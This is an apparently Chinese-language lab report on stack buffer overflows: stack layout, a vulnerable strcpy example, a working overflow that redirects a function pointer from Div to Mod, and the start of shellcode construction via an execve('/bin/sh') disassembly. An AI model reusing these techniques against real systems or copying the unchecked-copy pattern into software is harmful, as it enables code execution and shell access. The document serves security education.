void main(int argc,char **argv){char buf[80];strcpy(buf,argv[1]);}在一次函数调用中,堆栈中将被依次压入:参数、返回地址。
如果函数有局部变量,接下来,就在堆栈中开辟相应的空间(SUB ESP,x)以构造变量。
函数执行结束时,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。
例如,调用函数main(int argc,char **argv)时,堆栈的使用情况如下图所示。
低ESP→ESP→ESP→高ESP→ESP→2)4)2、利用堆栈溢出运行攻击代码攻击的最关键在于利用缓冲区溢出部分的数据覆盖堆栈,用特定的地址替换堆栈中的返回地址,这样当函数调用返回的时候就会把我们替换的返回地址弹出到当前基址,继续执行就会转入我们想要跳转的地址执行事先设定好的代码段了。
在上面的例子中,如果给定的字符串(argv[1])长度小于80,则程序可正常运行。
如果给出的argv[1]长度为100个字节,strcpy将这个字符串拷贝到堆栈时,会将堆栈中的“寄存器、EIP、argc、argv”等有效数据覆盖。
在第4、5步执行时必然得到错误的返回地址(EIP),导致程序出错。
在这里堆栈溢出的原因在于:由于字符串处理函数(gets,strcpy等)没有对数组越界加以判断和限制,利用超长字符数组,越界覆盖堆栈中的原有元素的值,可以修改堆栈中的返回地址,并执行由返回地址指向的代码。
如下图所示,可以让该返回地址指向的指令执行一段特殊代码,即图中的阴影部分。
当发生堆栈溢出时,堆栈中的EIP被替换为EIP’。
执行ret指令时,执行由EIP’指向的攻击代码,而不会返回到主程序中。
低ESP→EIP→ESP→高ESP→1) 3)4)EIP【实验环境】操作系统:Ubuntu 11.04GDB版本:Ubuntu/Linaro 7.2-1ubuntu11 i686-linux-gnuCPU型号:Intel(R) Core(TM)i5 M520 @2.4GHzIDE:codeblocks10.04 官方版本【实验过程】1、基础演示缓冲区溢出本次演示的缓冲区溢出要达到的效果是改变程序调用的函数,定义运算函数Div(除法)和Mod(取模),一个函数指针myPoint用以指向以上两个函数进行函数调用,先使myPoint 指向除法函数,然后通过strcpy向缓冲区复制的时候利用溢出覆盖掉myPoint指向的地址,从而使得本该是除法的函数调用变成取模的函数调用。
主要代码如下:#include <stdio.h>#include <stdlib.h>int Div(int x, int y){return x/y;} /*定义除法函数*/int Mod(int x, int y){return x%y;} /*定义取模函数*/typedef int (*funPoint)(int, int); /*定义函数指针*/char attack[12] = "HACKFLOW"; /*溢出字串*/char buffer[4] = "ABC"; /*缓冲区*/funPoint myPoint= &Div; /*函数指针,指向除法*/void main(){/*修改溢出字串,以Mod地址覆盖myPoint指针*/*((long *) &attack[4]) = (int) &Mod;/*向buffer复制attack字串,溢出修改myPoint指针*/strcpy(buffer, attack);/*发生溢出,执行函数从除法被改成了取模,结果本该是3*/printf("\ncall myPoint: 6 / 2 = %d\n", myPoint(6,2));}以上的代码运行效果如下:可以看到,在这里buffer的地址是0x80cf034,而myPoint的地址是0x80cf038,因为这里buffer的长度才4个字节,所以这两个地址相差为4,而这里向buffer复制的字符串长度为9(即为attack的内容),其中前面四个字为HACK,这四个字将会存在buffer 中,接下来4个字紧跟在buffer后面,发生溢出,覆盖了myPoint的值,而这四个字我们通过*((long *) &attack[4]) = (int) &Mod; 赋值为取模函数的地址了,所以在执行完strcpy后,虽然没有显示修改myPoint的值,但我们通过上图也可以看到,myPoint的值由于strcpy被覆盖成了80482d0(取模),而不再是80482c0(除法)的地址,所以最后我们得到的值为6 / 2 = 0。
2、提高使用shellcode进行溢出攻击1)shellcode生成a)分析shellcode执行过程Shellcode的核心代码如下:#include <stdio.h>void main() {char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);}我们通过gdb反汇编分析得:让我们来看一下这段汇编代码都做了些啥:(gdb) disassemble mainDump of assembler code for function main:0x080482c0 <+0>: push %ebp0x080482c1 <+1>: mov %esp,%ebp↖准备工作,首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针0x080482c3 <+3>: and $0xfffffff0,%esp0x080482c6 <+6>: sub $0x20,%esp↖为变量预留空间,指针偏移0x080482c9 <+9>: movl $0x80ae428,0x18(%esp)0x080482d1 <+17>: movl $0x0,0x1c(%esp)↖给变量赋值0x080482d9 <+25>: mov 0x18(%esp),%eax0x080482dd <+29>: movl $0x0,0x8(%esp)0x080482e5 <+37>: lea 0x18(%esp),%edx0x080482e9 <+41>: mov %edx,0x4(%esp)0x080482ed <+45>: mov %eax,(%esp)↖把函数执行需要的参数存入寄存器中0x080482f0 <+48>: call 0x8052f10 <execve>↖进入函数调用0x080482f5 <+53>: leave0x080482f6 <+54>: ret↖主函数返回以上是主函数的汇编代码,我们再来看一下execve函数执行的过程:(gdb) disassemble __execveDump of assembler code for function execve:0x08052f10 <+0>: push %ebp0x08052f11 <+1>: mov %esp,%ebp0x08052f13 <+3>: mov 0x10(%ebp),%edx0x08052f16 <+6>: push %ebx↖准备工作,首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针0x08052f17 <+7>: mov 0xc(%ebp),%ecx↖把name的内存地址写入ecx寄存器0x08052f1a <+10>: mov 0x8(%ebp),%ebx↖把”/bin/sh”的地址写入寄存器exb0x08052f1d <+13>: mov $0xb,%eax↖把execve系统调用索引写入eax寄存器0x08052f22 <+18>: call *0x80cf098进入内核调用模式从上面我们可以看出来,调用execve()要做的事情如下:a)把以NULL结尾的字串"/bin/sh"放到内存某处。
b)把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(nulllong word)。
c)把0xb放到寄存器EAX中。
d)把字串"/bin/sh"的地址放到寄存器EBX中。
e)把字串"/bin/sh"地址的地址放到寄存器ECX中。